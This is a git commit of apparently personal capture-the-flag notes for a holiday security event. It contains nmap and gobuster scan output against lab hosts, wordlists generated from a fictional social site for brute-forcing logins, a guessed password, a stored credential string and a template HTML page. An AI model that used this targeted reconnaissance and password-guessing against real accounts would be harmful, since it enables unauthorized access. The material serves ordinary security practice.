initial commit
This commit is contained in:
134
AoC/2025/01/nmap_scan1.nmap
Normal file
134
AoC/2025/01/nmap_scan1.nmap
Normal file
@@ -0,0 +1,134 @@
|
||||
# Nmap 7.95 scan initiated Tue Dec 2 14:08:01 2025 as: /usr/lib/nmap/nmap --privileged -T4 -A -oN nmap_scan1.nmap 10.82.181.57
|
||||
Nmap scan report for 10.82.181.57
|
||||
Host is up (0.042s latency).
|
||||
Not shown: 995 closed tcp ports (reset)
|
||||
PORT STATE SERVICE VERSION
|
||||
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
|
||||
| ssh-hostkey:
|
||||
| 256 65:f4:d5:24:cf:59:a0:20:a9:2f:62:6c:dd:f6:fe:73 (ECDSA)
|
||||
|_ 256 9f:c3:56:51:fa:7a:f5:d5:1e:d0:b7:39:e9:71:26:a1 (ED25519)
|
||||
80/tcp open http WebSockify Python/3.12.3
|
||||
|_http-title: Error response
|
||||
|_http-server-header: WebSockify Python/3.12.3
|
||||
| fingerprint-strings:
|
||||
| GetRequest:
|
||||
| HTTP/1.1 405 Method Not Allowed
|
||||
| Server: WebSockify Python/3.12.3
|
||||
| Date: Tue, 02 Dec 2025 13:08:07 GMT
|
||||
| Connection: close
|
||||
| Content-Type: text/html;charset=utf-8
|
||||
| Content-Length: 355
|
||||
| <!DOCTYPE HTML>
|
||||
| <html lang="en">
|
||||
| <head>
|
||||
| <meta charset="utf-8">
|
||||
| <title>Error response</title>
|
||||
| </head>
|
||||
| <body>
|
||||
| <h1>Error response</h1>
|
||||
| <p>Error code: 405</p>
|
||||
| <p>Message: Method Not Allowed.</p>
|
||||
| <p>Error code explanation: 405 - Specified method is invalid for this resource.</p>
|
||||
| </body>
|
||||
| </html>
|
||||
| HTTPOptions:
|
||||
| HTTP/1.1 501 Unsupported method ('OPTIONS')
|
||||
| Server: WebSockify Python/3.12.3
|
||||
| Date: Tue, 02 Dec 2025 13:08:07 GMT
|
||||
| Connection: close
|
||||
| Content-Type: text/html;charset=utf-8
|
||||
| Content-Length: 360
|
||||
| <!DOCTYPE HTML>
|
||||
| <html lang="en">
|
||||
| <head>
|
||||
| <meta charset="utf-8">
|
||||
| <title>Error response</title>
|
||||
| </head>
|
||||
| <body>
|
||||
| <h1>Error response</h1>
|
||||
| <p>Error code: 501</p>
|
||||
| <p>Message: Unsupported method ('OPTIONS').</p>
|
||||
| <p>Error code explanation: 501 - Server does not support this operation.</p>
|
||||
| </body>
|
||||
| </html>
|
||||
| RTSPRequest:
|
||||
| <!DOCTYPE HTML>
|
||||
| <html lang="en">
|
||||
| <head>
|
||||
| <meta charset="utf-8">
|
||||
| <title>Error response</title>
|
||||
| </head>
|
||||
| <body>
|
||||
| <h1>Error response</h1>
|
||||
| <p>Error code: 400</p>
|
||||
| <p>Message: Bad request version ('RTSP/1.0').</p>
|
||||
| <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|
||||
| </body>
|
||||
|_ </html>
|
||||
5901/tcp open vnc VNC (protocol 3.8)
|
||||
| vnc-info:
|
||||
| Protocol version: 3.8
|
||||
| Security types:
|
||||
| VeNCrypt (19)
|
||||
| VNC Authentication (2)
|
||||
| VeNCrypt auth subtypes:
|
||||
| Unknown security type (2)
|
||||
|_ VNC auth, Anonymous TLS (258)
|
||||
8080/tcp open http SimpleHTTPServer 0.6 (Python 3.12.3)
|
||||
|_http-title: Wareville\xE2\x80\x99s Christmas Countdown
|
||||
|_http-server-header: SimpleHTTP/0.6 Python/3.12.3
|
||||
8081/tcp open http Node.js Express framework
|
||||
|_http-title: Wareville\xE2\x80\x99s Christmas Countdown
|
||||
|_http-cors: GET
|
||||
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
|
||||
SF-Port80-TCP:V=7.95%I=7%D=12/2%Time=692EE4B6%P=aarch64-unknown-linux-gnu%
|
||||
SF:r(GetRequest,21C,"HTTP/1\.1\x20405\x20Method\x20Not\x20Allowed\r\nServe
|
||||
SF:r:\x20WebSockify\x20Python/3\.12\.3\r\nDate:\x20Tue,\x2002\x20Dec\x2020
|
||||
SF:25\x2013:08:07\x20GMT\r\nConnection:\x20close\r\nContent-Type:\x20text/
|
||||
SF:html;charset=utf-8\r\nContent-Length:\x20355\r\n\r\n<!DOCTYPE\x20HTML>\
|
||||
SF:n<html\x20lang=\"en\">\n\x20\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\x2
|
||||
SF:0\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20\x20\x20\x20\x20<
|
||||
SF:title>Error\x20response</title>\n\x20\x20\x20\x20</head>\n\x20\x20\x20\
|
||||
SF:x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20response</h1>\n
|
||||
SF:\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20405</p>\n\x20\x20\
|
||||
SF:x20\x20\x20\x20\x20\x20<p>Message:\x20Method\x20Not\x20Allowed\.</p>\n\
|
||||
SF:x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code\x20explanation:\x20405\
|
||||
SF:x20-\x20Specified\x20method\x20is\x20invalid\x20for\x20this\x20resource
|
||||
SF:\.</p>\n\x20\x20\x20\x20</body>\n</html>\n")%r(HTTPOptions,22D,"HTTP/1\
|
||||
SF:.1\x20501\x20Unsupported\x20method\x20\('OPTIONS'\)\r\nServer:\x20WebSo
|
||||
SF:ckify\x20Python/3\.12\.3\r\nDate:\x20Tue,\x2002\x20Dec\x202025\x2013:08
|
||||
SF::07\x20GMT\r\nConnection:\x20close\r\nContent-Type:\x20text/html;charse
|
||||
SF:t=utf-8\r\nContent-Length:\x20360\r\n\r\n<!DOCTYPE\x20HTML>\n<html\x20l
|
||||
SF:ang=\"en\">\n\x20\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<m
|
||||
SF:eta\x20charset=\"utf-8\">\n\x20\x20\x20\x20\x20\x20\x20\x20<title>Error
|
||||
SF:\x20response</title>\n\x20\x20\x20\x20</head>\n\x20\x20\x20\x20<body>\n
|
||||
SF:\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20response</h1>\n\x20\x20\x2
|
||||
SF:0\x20\x20\x20\x20\x20<p>Error\x20code:\x20501</p>\n\x20\x20\x20\x20\x20
|
||||
SF:\x20\x20\x20<p>Message:\x20Unsupported\x20method\x20\('OPTIONS'\)\.</p>
|
||||
SF:\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code\x20explanation:\x205
|
||||
SF:01\x20-\x20Server\x20does\x20not\x20support\x20this\x20operation\.</p>\
|
||||
SF:n\x20\x20\x20\x20</body>\n</html>\n")%r(RTSPRequest,16C,"<!DOCTYPE\x20H
|
||||
SF:TML>\n<html\x20lang=\"en\">\n\x20\x20\x20\x20<head>\n\x20\x20\x20\x20\x
|
||||
SF:20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20\x20\x20\x20
|
||||
SF:\x20<title>Error\x20response</title>\n\x20\x20\x20\x20</head>\n\x20\x20
|
||||
SF:\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20response</
|
||||
SF:h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p>\n\x20
|
||||
SF:\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20version\x2
|
||||
SF:0\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20cod
|
||||
SF:e\x20explanation:\x20400\x20-\x20Bad\x20request\x20syntax\x20or\x20unsu
|
||||
SF:pported\x20method\.</p>\n\x20\x20\x20\x20</body>\n</html>\n");
|
||||
Device type: general purpose
|
||||
Running: Linux 4.X
|
||||
OS CPE: cpe:/o:linux:linux_kernel:4.15
|
||||
OS details: Linux 4.15
|
||||
Network Distance: 3 hops
|
||||
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
||||
|
||||
TRACEROUTE (using port 1723/tcp)
|
||||
HOP RTT ADDRESS
|
||||
1 42.25 ms 192.168.128.1
|
||||
2 ...
|
||||
3 43.14 ms 10.82.181.57
|
||||
|
||||
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||||
# Nmap done at Tue Dec 2 14:09:47 2025 -- 1 IP address (1 host up) scanned in 105.84 seconds
|
||||
91204
AoC/2025/01/sideQuest/combined_wordlist.txt
Normal file
91204
AoC/2025/01/sideQuest/combined_wordlist.txt
Normal file
File diff suppressed because it is too large
Load Diff
1
AoC/2025/01/sideQuest/facebook_pass.txt
Normal file
1
AoC/2025/01/sideQuest/facebook_pass.txt
Normal file
@@ -0,0 +1 @@
|
||||
JfiF3O2shWWiyPxl1ElFkod0lJTQnKU8
|
||||
1
AoC/2025/01/sideQuest/gobuster_scan_small.txt
Normal file
1
AoC/2025/01/sideQuest/gobuster_scan_small.txt
Normal file
@@ -0,0 +1 @@
|
||||
/cgi-bin [36m (Status: 301)[0m [Size: 178][34m [--> http://10.80.138.114/cgi-bin/][0m
|
||||
11972
AoC/2025/01/sideQuest/guard.txt
Normal file
11972
AoC/2025/01/sideQuest/guard.txt
Normal file
File diff suppressed because it is too large
Load Diff
131
AoC/2025/01/sideQuest/nmap_scan.txt
Normal file
131
AoC/2025/01/sideQuest/nmap_scan.txt
Normal file
@@ -0,0 +1,131 @@
|
||||
# Nmap 7.95 scan initiated Wed Dec 3 12:50:40 2025 as: /usr/lib/nmap/nmap --privileged -T4 -A -oN nmap_scan.txt 10.80.178.179
|
||||
Nmap scan report for 10.80.178.179
|
||||
Host is up (0.042s latency).
|
||||
Not shown: 995 closed tcp ports (reset)
|
||||
PORT STATE SERVICE VERSION
|
||||
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
|
||||
| ssh-hostkey:
|
||||
| 256 88:83:8a:dc:57:aa:18:a5:f4:3b:72:30:77:bd:2b:67 (ECDSA)
|
||||
|_ 256 54:89:e7:16:f7:b6:57:4e:94:3f:7f:3d:ba:62:ed:b2 (ED25519)
|
||||
80/tcp open http nginx 1.24.0 (Ubuntu)
|
||||
|_http-server-header: nginx/1.24.0 (Ubuntu)
|
||||
|_http-title: HopSec Asylum - Security Console
|
||||
8000/tcp open http-alt
|
||||
| fingerprint-strings:
|
||||
| FourOhFourRequest:
|
||||
| HTTP/1.0 404 Not Found
|
||||
| Content-Type: text/html
|
||||
| X-Frame-Options: DENY
|
||||
| Content-Length: 179
|
||||
| Vary: Accept-Language
|
||||
| Content-Language: en
|
||||
| X-Content-Type-Options: nosniff
|
||||
| <!doctype html>
|
||||
| <html lang="en">
|
||||
| <head>
|
||||
| <title>Not Found</title>
|
||||
| </head>
|
||||
| <body>
|
||||
| <h1>Not Found</h1><p>The requested resource was not found on this server.</p>
|
||||
| </body>
|
||||
| </html>
|
||||
| GenericLines, Help, RTSPRequest, SIPOptions, Socks5, TerminalServerCookie:
|
||||
| HTTP/1.1 400 Bad Request
|
||||
| GetRequest, HTTPOptions:
|
||||
| HTTP/1.0 302 Found
|
||||
| Content-Type: text/html; charset=utf-8
|
||||
| Location: /posts/
|
||||
| X-Frame-Options: DENY
|
||||
| Content-Length: 0
|
||||
| Vary: Accept-Language
|
||||
| Content-Language: en
|
||||
|_ X-Content-Type-Options: nosniff
|
||||
| http-title: Fakebook - Sign In
|
||||
|_Requested resource was /accounts/login/?next=/posts/
|
||||
8080/tcp open http SimpleHTTPServer 0.6 (Python 3.12.3)
|
||||
|_http-server-header: SimpleHTTP/0.6 Python/3.12.3
|
||||
9001/tcp open tor-orport?
|
||||
| fingerprint-strings:
|
||||
| NULL:
|
||||
| ASYLUM GATE CONTROL SYSTEM - SCADA TERMINAL v2.1
|
||||
| [AUTHORIZED PERSONNEL ONLY]
|
||||
| WARNING: This system controls critical infrastructure
|
||||
| access attempts are logged and monitored
|
||||
| Unauthorized access will result in immediate termination
|
||||
| Authentication required to access SCADA terminal
|
||||
| Provide authorization token from Part 1 to proceed
|
||||
|_ [AUTH] Enter authorization token:
|
||||
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
|
||||
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
|
||||
SF-Port8000-TCP:V=7.95%I=7%D=12/3%Time=69302418%P=aarch64-unknown-linux-gn
|
||||
SF:u%r(GenericLines,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(Get
|
||||
SF:Request,C9,"HTTP/1\.0\x20302\x20Found\r\nContent-Type:\x20text/html;\x2
|
||||
SF:0charset=utf-8\r\nLocation:\x20/posts/\r\nX-Frame-Options:\x20DENY\r\nC
|
||||
SF:ontent-Length:\x200\r\nVary:\x20Accept-Language\r\nContent-Language:\x2
|
||||
SF:0en\r\nX-Content-Type-Options:\x20nosniff\r\n\r\n")%r(FourOhFourRequest
|
||||
SF:,160,"HTTP/1\.0\x20404\x20Not\x20Found\r\nContent-Type:\x20text/html\r\
|
||||
SF:nX-Frame-Options:\x20DENY\r\nContent-Length:\x20179\r\nVary:\x20Accept-
|
||||
SF:Language\r\nContent-Language:\x20en\r\nX-Content-Type-Options:\x20nosni
|
||||
SF:ff\r\n\r\n\n<!doctype\x20html>\n<html\x20lang=\"en\">\n<head>\n\x20\x20
|
||||
SF:<title>Not\x20Found</title>\n</head>\n<body>\n\x20\x20<h1>Not\x20Found<
|
||||
SF:/h1><p>The\x20requested\x20resource\x20was\x20not\x20found\x20on\x20thi
|
||||
SF:s\x20server\.</p>\n</body>\n</html>\n")%r(Socks5,1C,"HTTP/1\.1\x20400\x
|
||||
SF:20Bad\x20Request\r\n\r\n")%r(HTTPOptions,C9,"HTTP/1\.0\x20302\x20Found\
|
||||
SF:r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nLocation:\x20/posts/
|
||||
SF:\r\nX-Frame-Options:\x20DENY\r\nContent-Length:\x200\r\nVary:\x20Accept
|
||||
SF:-Language\r\nContent-Language:\x20en\r\nX-Content-Type-Options:\x20nosn
|
||||
SF:iff\r\n\r\n")%r(RTSPRequest,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\
|
||||
SF:r\n")%r(Help,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(Termina
|
||||
SF:lServerCookie,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(SIPOpt
|
||||
SF:ions,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n");
|
||||
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
|
||||
SF-Port9001-TCP:V=7.95%I=7%D=12/3%Time=69302418%P=aarch64-unknown-linux-gn
|
||||
SF:u%r(NULL,34F,"\n\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x9
|
||||
SF:5\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x
|
||||
SF:95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\
|
||||
SF:x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2
|
||||
SF:\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe
|
||||
SF:2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\x
|
||||
SF:e2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\
|
||||
SF:xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90
|
||||
SF:\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9
|
||||
SF:0\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x
|
||||
SF:90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\
|
||||
SF:x90\xe2\x95\x97\n\xe2\x95\x91\x20\x20\x20\x20\x20ASYLUM\x20GATE\x20CONT
|
||||
SF:ROL\x20SYSTEM\x20-\x20SCADA\x20TERMINAL\x20v2\.1\x20\x20\x20\x20\x20\x2
|
||||
SF:0\x20\x20\x20\x20\xe2\x95\x91\n\xe2\x95\x91\x20\x20\x20\x20\x20\x20\x20
|
||||
SF:\x20\x20\x20\x20\x20\x20\x20\[AUTHORIZED\x20PERSONNEL\x20ONLY\]\x20\x20
|
||||
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
|
||||
SF:0\x20\x20\xe2\x95\x91\n\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90
|
||||
SF:\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9
|
||||
SF:0\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x
|
||||
SF:90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\
|
||||
SF:x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95
|
||||
SF:\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x9
|
||||
SF:5\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x
|
||||
SF:95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\
|
||||
SF:x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2
|
||||
SF:\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe
|
||||
SF:2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\x
|
||||
SF:e2\x95\x90\xe2\x95\x9d\n\n\[!\]\x20WARNING:\x20This\x20system\x20contro
|
||||
SF:ls\x20critical\x20infrastructure\n\[!\]\x20All\x20access\x20attempts\x2
|
||||
SF:0are\x20logged\x20and\x20monitored\n\[!\]\x20Unauthorized\x20access\x20
|
||||
SF:will\x20result\x20in\x20immediate\x20termination\n\n\[!\]\x20Authentica
|
||||
SF:tion\x20required\x20to\x20access\x20SCADA\x20terminal\n\[!\]\x20Provide
|
||||
SF:\x20authorization\x20token\x20from\x20Part\x201\x20to\x20proceed\n\n\n\
|
||||
SF:[AUTH\]\x20Enter\x20authorization\x20token:\x20");
|
||||
Device type: general purpose
|
||||
Running: Linux 4.X
|
||||
OS CPE: cpe:/o:linux:linux_kernel:4.15
|
||||
OS details: Linux 4.15
|
||||
Network Distance: 3 hops
|
||||
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
||||
|
||||
TRACEROUTE (using port 1025/tcp)
|
||||
HOP RTT ADDRESS
|
||||
1 40.99 ms 192.168.128.1
|
||||
2 ...
|
||||
3 41.87 ms 10.80.178.179
|
||||
|
||||
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||||
# Nmap done at Wed Dec 3 12:53:08 2025 -- 1 IP address (1 host up) scanned in 148.66 seconds
|
||||
0
AoC/2025/01/sideQuest/nmap_scan1.nmap
Normal file
0
AoC/2025/01/sideQuest/nmap_scan1.nmap
Normal file
330033
AoC/2025/01/sideQuest/passwords.txt
Normal file
330033
AoC/2025/01/sideQuest/passwords.txt
Normal file
File diff suppressed because it is too large
Load Diff
302
AoC/2025/01/sideQuest/passwords_cewl.txt
Normal file
302
AoC/2025/01/sideQuest/passwords_cewl.txt
Normal file
@@ -0,0 +1,302 @@
|
||||
change
|
||||
the
|
||||
you
|
||||
something
|
||||
here
|
||||
also
|
||||
ajax
|
||||
function
|
||||
below
|
||||
button
|
||||
comments
|
||||
Sir
|
||||
post
|
||||
Error
|
||||
class
|
||||
Send
|
||||
ago
|
||||
Post
|
||||
Text
|
||||
Reaction
|
||||
Flags
|
||||
King
|
||||
Report
|
||||
Likes
|
||||
show
|
||||
Dislikes
|
||||
hide
|
||||
btn
|
||||
cmt
|
||||
Guard
|
||||
Hopkins
|
||||
Carrotbane
|
||||
Malhare
|
||||
BreachBlocker
|
||||
III
|
||||
code
|
||||
weeks
|
||||
response
|
||||
month
|
||||
months
|
||||
not
|
||||
found
|
||||
have
|
||||
from
|
||||
some
|
||||
Hop
|
||||
and
|
||||
Link
|
||||
given
|
||||
matches
|
||||
URI
|
||||
Message
|
||||
File
|
||||
explanation
|
||||
Nothing
|
||||
Can
|
||||
good
|
||||
food
|
||||
just
|
||||
for
|
||||
your
|
||||
asylum
|
||||
are
|
||||
this
|
||||
week
|
||||
out
|
||||
they
|
||||
posts
|
||||
Screen
|
||||
home
|
||||
ever
|
||||
want
|
||||
sponsor
|
||||
sure
|
||||
href
|
||||
order
|
||||
but
|
||||
royal
|
||||
know
|
||||
any
|
||||
This
|
||||
was
|
||||
wise
|
||||
well
|
||||
Custom
|
||||
all
|
||||
work
|
||||
hopkins
|
||||
DoorDasher
|
||||
Johnnyboy
|
||||
that
|
||||
comment
|
||||
can
|
||||
profiles
|
||||
year
|
||||
item
|
||||
bruteforcing
|
||||
challenges
|
||||
thm
|
||||
see
|
||||
opt
|
||||
hashcat
|
||||
utils
|
||||
src
|
||||
harder
|
||||
much
|
||||
itest
|
||||
OVERSHARING
|
||||
job
|
||||
making
|
||||
You
|
||||
site
|
||||
public
|
||||
service
|
||||
looked
|
||||
Happiest
|
||||
pic
|
||||
announcement
|
||||
profile
|
||||
New
|
||||
plans
|
||||
EGG
|
||||
BIG
|
||||
cellency
|
||||
NEW
|
||||
CAPE
|
||||
YES
|
||||
Trying
|
||||
december
|
||||
hand
|
||||
tuned
|
||||
stay
|
||||
Cooking
|
||||
combinator
|
||||
Space
|
||||
world
|
||||
What
|
||||
Yep
|
||||
born
|
||||
anniversary
|
||||
weak
|
||||
links
|
||||
HAHAHA
|
||||
Happy
|
||||
heard
|
||||
control
|
||||
locked
|
||||
old
|
||||
boss
|
||||
Hopper
|
||||
GOOD
|
||||
ITS
|
||||
WHERE
|
||||
BELONGS
|
||||
The
|
||||
red
|
||||
team
|
||||
took
|
||||
since
|
||||
better
|
||||
WAY
|
||||
been
|
||||
battalion
|
||||
has
|
||||
bin
|
||||
AttackBox
|
||||
Always
|
||||
comes
|
||||
handy
|
||||
Did
|
||||
enter
|
||||
password
|
||||
appears
|
||||
Pizza
|
||||
WHAT
|
||||
dialogs
|
||||
THE
|
||||
HELL
|
||||
CARROTBANE
|
||||
NOW
|
||||
NEED
|
||||
CHANGE
|
||||
PASSWORD
|
||||
HAHA
|
||||
seeing
|
||||
modal
|
||||
who
|
||||
Advertisements
|
||||
Sponsored
|
||||
Advertisments
|
||||
empty
|
||||
Leave
|
||||
adverstisements
|
||||
bewtween
|
||||
Publish
|
||||
More
|
||||
about
|
||||
styling
|
||||
forms
|
||||
Read
|
||||
discount
|
||||
didn
|
||||
latest
|
||||
realised
|
||||
paid
|
||||
full
|
||||
price
|
||||
check
|
||||
support
|
||||
email
|
||||
should
|
||||
one
|
||||
guard
|
||||
hopsecasylum
|
||||
com
|
||||
decree
|
||||
effectively
|
||||
immediately
|
||||
nor
|
||||
forbidden
|
||||
other
|
||||
color
|
||||
blue
|
||||
important
|
||||
Required
|
||||
meta
|
||||
tags
|
||||
jQuery
|
||||
css
|
||||
semantic
|
||||
Include
|
||||
Icons
|
||||
Fakebook
|
||||
main
|
||||
page
|
||||
mit
|
||||
Posts
|
||||
Suchzeile
|
||||
Search
|
||||
Second
|
||||
Friends
|
||||
Page
|
||||
Chat
|
||||
invite
|
||||
invites
|
||||
Path
|
||||
Profile
|
||||
Logout
|
||||
them
|
||||
over
|
||||
there
|
||||
DAMN
|
||||
make
|
||||
hit
|
||||
Not
|
||||
why
|
||||
could
|
||||
say
|
||||
LOVE
|
||||
PIZZA
|
||||
Taking
|
||||
walk
|
||||
best
|
||||
friend
|
||||
although
|
||||
more
|
||||
sorry
|
||||
brag
|
||||
people
|
||||
please
|
||||
love
|
||||
Easter
|
||||
Bunny
|
||||
Hoppy
|
||||
STOP
|
||||
items
|
||||
Wareville
|
||||
HopSec
|
||||
Island
|
||||
reactionary
|
||||
definitely
|
||||
always
|
||||
planned
|
||||
events
|
||||
which
|
||||
relate
|
||||
recently
|
||||
purely
|
||||
coincidence
|
||||
That
|
||||
will
|
||||
Another
|
||||
long
|
||||
shift
|
||||
done
|
||||
couldn
|
||||
hopped
|
||||
cooking
|
||||
ordered
|
||||
wareville
|
||||
doesn
|
||||
like
|
||||
1
AoC/2025/01/sideQuest/passwords_con.txt
Normal file
1
AoC/2025/01/sideQuest/passwords_con.txt
Normal file
@@ -0,0 +1 @@
|
||||
johnnyboy1982
|
||||
40
AoC/2025/01/sideQuest/passwords_con.txt.cupp.txt
Normal file
40
AoC/2025/01/sideQuest/passwords_con.txt.cupp.txt
Normal file
@@ -0,0 +1,40 @@
|
||||
!'#''#'
|
||||
!'#''#'
|
||||
$'#''#'
|
||||
$'#''#'
|
||||
%'#''#'
|
||||
%'#''#'
|
||||
&'#''#'
|
||||
&'#''#'
|
||||
'#'!'#'
|
||||
'#'!'#'
|
||||
'#'$'#'
|
||||
'#'$'#'
|
||||
'#'%'#'
|
||||
'#'%'#'
|
||||
'#'&'#'
|
||||
'#'&'#'
|
||||
'#''#'
|
||||
'#''#'
|
||||
'#''#'!
|
||||
'#''#'!
|
||||
'#''#'$
|
||||
'#''#'$
|
||||
'#''#'%
|
||||
'#''#'%
|
||||
'#''#'&
|
||||
'#''#'&
|
||||
'#''#''#'
|
||||
'#''#''#'
|
||||
'#''#'*
|
||||
'#''#'*
|
||||
'#''#'@
|
||||
'#''#'@
|
||||
'#'*'#'
|
||||
'#'*'#'
|
||||
'#'@'#'
|
||||
'#'@'#'
|
||||
*'#''#'
|
||||
*'#''#'
|
||||
@'#''#'
|
||||
@'#''#'
|
||||
2353
AoC/2025/01/sideQuest/posts.html
Normal file
2353
AoC/2025/01/sideQuest/posts.html
Normal file
File diff suppressed because it is too large
Load Diff
BIN
AoC/2025/01/sq1.png
Normal file
BIN
AoC/2025/01/sq1.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 411 KiB |
0
AoC/2025/02/nothing_to_write_down
Normal file
0
AoC/2025/02/nothing_to_write_down
Normal file
430
CTF/AgentT/404.html
Normal file
430
CTF/AgentT/404.html
Normal file
@@ -0,0 +1,430 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
|
||||
<meta name="description" content="">
|
||||
<meta name="author" content="">
|
||||
|
||||
<title>SB Admin 2 - 404</title>
|
||||
|
||||
<!-- Custom fonts for this template-->
|
||||
<link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css">
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i"
|
||||
rel="stylesheet">
|
||||
|
||||
<!-- Custom styles for this template-->
|
||||
<link href="css/sb-admin-2.min.css" rel="stylesheet">
|
||||
|
||||
</head>
|
||||
|
||||
<body id="page-top">
|
||||
|
||||
<!-- Page Wrapper -->
|
||||
<div id="wrapper">
|
||||
|
||||
<!-- Sidebar -->
|
||||
<ul class="navbar-nav bg-gradient-primary sidebar sidebar-dark accordion" id="accordionSidebar">
|
||||
|
||||
<!-- Sidebar - Brand -->
|
||||
<a class="sidebar-brand d-flex align-items-center justify-content-center" href="index.html">
|
||||
<div class="sidebar-brand-icon rotate-n-15">
|
||||
<i class="fas fa-laugh-wink"></i>
|
||||
</div>
|
||||
<div class="sidebar-brand-text mx-3">SB Admin <sup>2</sup></div>
|
||||
</a>
|
||||
|
||||
<!-- Divider -->
|
||||
<hr class="sidebar-divider my-0">
|
||||
|
||||
<!-- Nav Item - Dashboard -->
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="index.html">
|
||||
<i class="fas fa-fw fa-tachometer-alt"></i>
|
||||
<span>Dashboard</span>
|
||||
</a>
|
||||
</li>
|
||||
|
||||
<!-- Divider -->
|
||||
<hr class="sidebar-divider">
|
||||
|
||||
<!-- Heading -->
|
||||
<div class="sidebar-heading">
|
||||
Interface
|
||||
</div>
|
||||
|
||||
<!-- Nav Item - Pages Collapse Menu -->
|
||||
<li class="nav-item">
|
||||
<a class="nav-link collapsed" href="#" data-toggle="collapse" data-target="#collapseTwo"
|
||||
aria-expanded="true" aria-controls="collapseTwo">
|
||||
<i class="fas fa-fw fa-cog"></i>
|
||||
<span>Components</span>
|
||||
</a>
|
||||
<div id="collapseTwo" class="collapse" aria-labelledby="headingTwo" data-parent="#accordionSidebar">
|
||||
<div class="bg-white py-2 collapse-inner rounded">
|
||||
<h6 class="collapse-header">Custom Components:</h6>
|
||||
